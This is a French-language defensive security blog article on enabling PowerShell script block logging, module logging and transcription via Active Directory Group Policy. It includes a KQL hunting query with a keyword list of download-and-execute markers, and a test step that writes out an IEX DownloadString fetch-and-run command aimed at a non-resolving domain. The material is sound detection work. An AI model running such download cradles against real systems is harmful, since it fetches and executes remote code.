🏢Active DirectoryGPOMonitoringCompliance

Journalisation des blocs de script PowerShell Active Directory GPO : ce qui vous échappe

La plupart des environnements Active Directory laissent encore désactivées par défaut la journalisation des blocs de script, des modules et la transcription PowerShell — les trois paramètres GPO qui rendent visible le tradecraft PowerShell fileless au lieu de le laisser invisible.

Younes AZABARPar Younes AZABAR11 min de lecture
Journalisation des blocs de script PowerShell Active Directory GPO : ce qui vous échappe

Journalisation des blocs de script PowerShell Active Directory GPO : pourquoi c'est un paramètre parmi trois, pas un seul

La journalisation des blocs de script PowerShell Active Directory GPO fait partie, avec la journalisation des modules et la transcription, des contrôles de détection à plus forte valeur que la plupart des environnements Windows laissent encore désactivés par défaut. La journalisation des blocs de script est elle-même un paramètre contrôlé par une stratégie de groupe qui écrit le texte complet de chaque bloc de script PowerShell exécuté sur une machine — y compris le code obfusqué ou généré dynamiquement — directement dans le journal d'événements Windows. Ensemble, ces trois paramètres font la différence entre disposer d'une trace forensique de ce qui s'est exécuté sur un hôte et n'avoir qu'un trou là où un incident a eu lieu.

Cela compte plus que ne le suggère la sévérité au catalogue. Une grande partie du tradecraft post-exploitation moderne est fileless : il s'exécute entièrement en mémoire via PowerShell, sans laisser d'exécutable sur disque que l'antivirus ou l'EDR pourraient détecter par scan de fichiers (Malwarebytes / ThreatDown sur le chargeur PowerShell-vers-Cobalt-Strike de Black Basta). Sans ces trois paramètres GPO, cette activité est effectivement invisible pour votre SIEM.

Comment fonctionnent les trois paramètres

Les trois paramètres se trouvent sous le même chemin de stratégie de groupe — la même classe d'objet couverte dans notre guide sur les mauvaises configurations GPO comme vecteur d'attaque, puisqu'une GPO mal liée ou surchargée ici signifie « activé » seulement sur le papier :

Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
ParamètreNom GPOClé de registreSource d'événement
Journalisation des blocs de scriptTurn on Script Block LoggingHKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingEnableScriptBlockLogging (DWORD)Event ID 4104
Journalisation des modulesTurn on Module LoggingHKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLoggingEnableModuleLogging (DWORD) + ModuleNamesEvent ID 4103
TranscriptionTurn on PowerShell TranscriptionHKLM\Software\Policies\Microsoft\Windows\PowerShell\TranscriptionEnableTranscripting (DWORD)Fichiers texte, pas le journal d'événements

Journalisation des blocs de script (Event ID 4104)

Une fois activée, chaque bloc de script que PowerShell analyse — y compris un bloc encodé en Base64 ou construit à l'exécution par concaténation de chaînes — est journalisé dans Microsoft-Windows-PowerShell/Operational sous l'ID d'événement 4104, avec le contenu désobfusqué inclus. C'est le plus précieux des trois paramètres, car il déjoue l'obfuscation simple : le script de l'attaquant peut sembler illisible sur le fil, mais PowerShell doit le décoder pour l'exécuter, et c'est précisément à ce moment que la journalisation des blocs de script capture le contenu (TrustedSec, « Building a Detection Foundation Part 3: PowerShell and Script Logging »).

Il existe une seconde couche optionnelle dans la même stratégie : Log script block invocation start/stop events, qui émet en plus les ID d'événement 4105 et 4106 pour chaque bloc qui démarre et se termine. C'est un niveau très verbeux, désactivé par défaut même quand la journalisation des blocs de script elle-même est activée, et il génère un volume tel que la plupart des environnements le laissent volontairement désactivé sur l'ensemble du parc.

$path = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord

Journalisation des modules (Event ID 4103)

La journalisation des modules enregistre les détails d'exécution du pipeline pour les modules que vous spécifiez — invocations de cmdlets, paramètres et sortie des objets du pipeline — sous l'ID d'événement 4103. Elle existe depuis PowerShell 3.0 comme propriété LogPipelineExecutionDetails d'un module ; la GPO n'est que le moyen de l'activer à l'échelle du parc. Elle est désactivée par défaut pour chaque module intégré (Microsoft Learn, about_Group_Policy_Settings). Dans la boîte de dialogue Show… de la GPO, vous listez les noms de modules à journaliser ; utiliser * couvre tous les modules, ce que la plupart des environnements devraient faire — journaliser uniquement une liste de modules triés sur le volet crée un angle mort dès qu'un attaquant utilise autre chose.

Transcription (pas d'ID d'événement — fichiers plats)

La transcription est différente par nature : au lieu d'écrire dans le journal d'événements, elle écrit une transcription en texte brut de chaque entrée et sortie PowerShell dans un fichier, à la manière d'un Start-Transcript lancé automatiquement à chaque session. Configurez OutputDirectory vers un partage UNC centralisé et à accès restreint plutôt que de laisser le défaut par utilisateur, et activez Include invocation headers pour horodater chaque commande. Comme les transcriptions sont des fichiers sur disque (ou sur un partage), elles constituent une source forensique distincte du journal d'événements et survivent indépendamment si un attaquant efface les journaux d'événements Windows.

Pourquoi c'est un trou de détection, pas seulement une case de conformité

Des frameworks comme Empire et Cobalt Strike exécutent leurs stagers PowerShell et leurs modules post-exploitation entièrement en mémoire. L'équipe de recherche en détection de Splunk a construit un analytique spécifique pour ce scénario exact — détecter Empire via la journalisation des blocs de script PowerShell — précisément parce que, sans événements 4104, l'exécution en mémoire d'Empire ne laisse rien d'autre à traquer sur l'hôte. La journalisation de création de processus (ID d'événement 4688) montrera bien le lancement de powershell.exe, mais la ligne de commande seule est souvent tronquée, encodée, ou enveloppée dans suffisamment d'obfuscation pour que le quoi — le code réellement exécuté — ne soit récupérable que via le contenu désobfusqué du bloc de script que fournit l'événement 4104 (Splunk, « Hunting for Malicious PowerShell using Script Block Logging »).

Pour un exemple concret : l'analyse par ThreatDown d'une intrusion Black Basta a révélé que le stager PowerShell initial empilait plusieurs cycles d'encodage Base64, de compression et de chiffrement spécifiquement pour déjouer l'inspection statique, avant d'injecter un beacon Cobalt Strike directement en mémoire (ThreatDown, « How Black Basta Used PowerShell to Set Up a Cobalt Strike Beacon »). Rien de cette chaîne ne touche le disque d'une manière que les signatures antivirus traditionnelles détectent — la journalisation des blocs de script est ce qui retransforme le blob encodé en PowerShell lisible dans votre journal d'événements, après que PowerShell lui-même a déjà fait le travail de décodage pour vous.

Pour le dire simplement : avec les trois paramètres désactivés, un attaquant exécutant un loader PowerShell encodé et en mémoire ne laisse qu'un événement de création de processus et rien d'autre. Avec eux activés, la même attaque laisse un bloc de script décodé, le pipeline de module qu'il a touché, et une transcription texte de ce qu'il a fait.

Détection

Pour la vue d'ensemble des ID d'événements Windows qui méritent vraiment une place dans votre SIEM, voir Supervision Sécurité AD : Événements Clés. Pour PowerShell spécifiquement :

IndicateurEvent IDSourceCe qu'il faut chercher
Contenu du bloc de script4104Microsoft-Windows-PowerShell/OperationalTexte de script désobfusqué contenant Invoke-Expression, DownloadString, -EncodedCommand, IEX, chargement d'assembly réflexif
Démarrage/arrêt d'invocation de bloc de script4105 / 4106Microsoft-Windows-PowerShell/OperationalPrésent seulement si la journalisation d'invocation est activée séparément ; utile pour corréler le timing exact d'exécution
Exécution du pipeline de module4103Microsoft-Windows-PowerShell/OperationalCmdlet + paramètres pour des modules hors de la référence normale d'un hôte (ex. Invoke-Mimikatz, Invoke-WMIExec)
Création de processus4688Securitypowershell.exe / pwsh.exe avec -nop, -w hidden, -enc, ou des lignes de commande anormalement longues
Fichiers de transcriptionn/aPartage OutputDirectory configuréJournaux de session en texte brut corrélant avec l'horodatage d'un événement 4104 suspect

Une requête de chasse minimale contre une table d'événements de style Sentinel/KQL, en utilisant le canal Microsoft-Windows-PowerShell/Operational :

Event
| where Channel == "Microsoft-Windows-PowerShell/Operational"
| where EventID in (4104, 4103, 4688)
| where RenderedDescription has_any (
    "Invoke-Expression", "IEX", "DownloadString", "-EncodedCommand",
    "FromBase64String", "Net.WebClient", "-nop", "-w hidden"
  )
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated desc

C'est un point de départ, pas une détection finie : ajustez la liste has_any à l'outillage admin normal de votre propre environnement, car les modules RSAT, les agents de sauvegarde et les agents EDR apparaissent tous régulièrement dans la télémétrie 4103 et noieront une règle naïve sous les faux positifs. Routez le même canal vers le produit de corrélation que vous utilisez déjà — Sentinel, Splunk ou un SIEM on-prem consomment tous Microsoft-Windows-PowerShell/Operational de la même façon, donc l'effort porte sur le réglage, pas sur la plomberie.

⚠️

⚠️ Attention : le 4104 seul ne fera pas apparaître le timing de démarrage/arrêt, et la transcription seule ne survivra pas à un attaquant qui désactive les clés de registre de journalisation en cours de session avec des privilèges élevés. Traitez les trois paramètres comme des couches complémentaires, pas comme des substituts les uns aux autres.

Remédiation

💡

💡 Gain rapide : si vous n'activez qu'un seul des trois, que ce soit la journalisation des blocs de script (4104) — elle offre la plus haute valeur de détection pour le plus faible volume de logs, car elle capture du contenu désobfusqué plutôt que du bruit brut de pipeline.

  1. Activer la journalisation des blocs de script. Dans une GPO liée à vos UO postes de travail/serveurs : Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on Script Block Logging → Enabled. Laissez la sous-option démarrage/arrêt désactivée sauf si vous avez le budget SIEM pour le volume supplémentaire.
  2. Activer la journalisation des modules pour tous les modules. Même chemin de GPO, Turn on Module Logging → Enabled → dans Show…, ajoutez * pour qu'aucun module ne reste non journalisé.
  3. Activer la transcription avec un répertoire de sortie centralisé. Turn on PowerShell Transcription → Enabled, définissez OutputDirectory vers un partage UNC en écriture seule (refusez lecture/suppression aux utilisateurs standard), et cochez Include invocation headers.
  4. Router Microsoft-Windows-PowerShell/Operational vers votre SIEM. Ces paramètres n'aident que si les événements quittent l'hôte — c'est la même discipline de politique d'audit que celle couverte dans Lacunes de configuration de la politique d'audit Active Directory : assurez-vous que votre configuration de transfert de logs souscrit réellement à ce canal, pas seulement à Security.
  5. Vérifier avec gpresult et le registre, pas seulement la console GPO — confirmez sur un échantillon de serveurs et postes membres que la politique s'est réellement appliquée (gpresult /h report.html ou en vérifiant les clés de registre ci-dessus), car les erreurs de portée de liaison et de précédence de GPO sont une cause fréquente pour laquelle des politiques « activées » n'atteignent jamais le poste.
  6. Tester le pipeline de bout en bout. Sur un hôte de test isolé, exécutez une commande délibérément signalée mais inoffensive (par exemple IEX (New-Object Net.WebClient).DownloadString('http://example.invalid') contre un domaine qui ne se résout pas) et confirmez que l'événement 4104 correspondant apparaît à la fois localement et dans votre SIEM. Une GPO qui « s'applique » mais dont les événements n'atteignent jamais le SIEM équivaut fonctionnellement à l'absence de GPO.
  7. Restreindre qui peut modifier la GPO et qui a les droits admin locaux. Les trois paramètres résident dans le registre sous HKLM ; un utilisateur avec des droits admin locaux peut les désactiver, donc scopez délibérément l'appartenance admin locale dans le cadre du même passage de durcissement. Associez cela à des identifiants admin locaux uniques et régulièrement changés — voir Windows LAPS non déployé — et la liste de priorités plus large dans Durcissement Active Directory : quoi verrouiller d'abord.

Comment EtcSec détecte ceci

L'audit Active Directory d'EtcSec vérifie l'état effectif des trois paramètres sur l'ensemble de votre domaine via les entrées de catalogue PA038_PS_SCRIPTBLOCK_LOGGING_OFF, PA038_PS_MODULE_LOGGING_OFF et PA038_PS_TRANSCRIPTION_OFF, ainsi que le contrôle plus large POWERSHELL_LOGGING_DISABLED, et signale les hôtes ou périmètres de GPO où l'activité PowerShell s'exécuterait sans être journalisée — le même problème de dérive de posture couvert dans Audit de sécurité Active Directory : quoi vérifier d'abord.

ℹ️

ℹ️ Remarque : EtcSec vérifie automatiquement cette vulnérabilité à chaque audit AD. Lancez un audit gratuit pour vérifier que votre environnement ne laisse pas l'activité PowerShell non journalisée.

Explorez les pages identité liées à ce sujet